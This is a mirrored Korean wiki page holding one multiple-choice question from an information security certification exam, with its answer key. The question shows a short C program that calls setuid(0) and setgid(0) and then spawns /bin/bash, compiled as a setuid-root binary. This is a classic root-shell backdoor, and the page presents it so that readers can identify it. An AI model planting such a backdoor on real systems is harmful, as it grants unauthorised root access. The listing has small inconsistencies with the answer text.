IT용어위키



정보보안기사 제8회 20번

과목: 시스템 보안

문제

20. 다음은 크래커 A가 남긴 C소스 코드와 바이너리 파일이다. 이에 대한 설명으로 적합한 것은?

$ls -l
total 20
-rwsr-wr-x 1 root root 1435 Oct 7 21:13 test
-rw-rw-r-- 1 root root 88 Oct 7 21:12 test.c

$ cat test.c
#include
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

  • ① setgid 시스템 콜의 인자를0으로 준 것으로 보아 Race Condition 기법의 공격이다.
  • ② /bin/sh를 실행시키는 것으로 보아 Sniffing 기법이다.
  • ③ setuid 시스템 콜의 인자가 0이고 컴파일된 바이너리 파일의 퍼미션이 4755인 것으로 보아 루트 권한을 탈취하는 백도어이다.
  • ④ main 함수의 리턴형태가 void 이므로 Format String Attack으로 보인다.

풀어보기

정답

  • 3번

해설

같이 보기


  출처: IT위키(IT위키에서 최신 문서 보기)
  * 본 페이지는 공대위키에서 미러링된 페이지입니다. 일부 오류나 표현의 누락이 있을 수 있습니다. 원본 문서는 공대위키에서 확인하세요!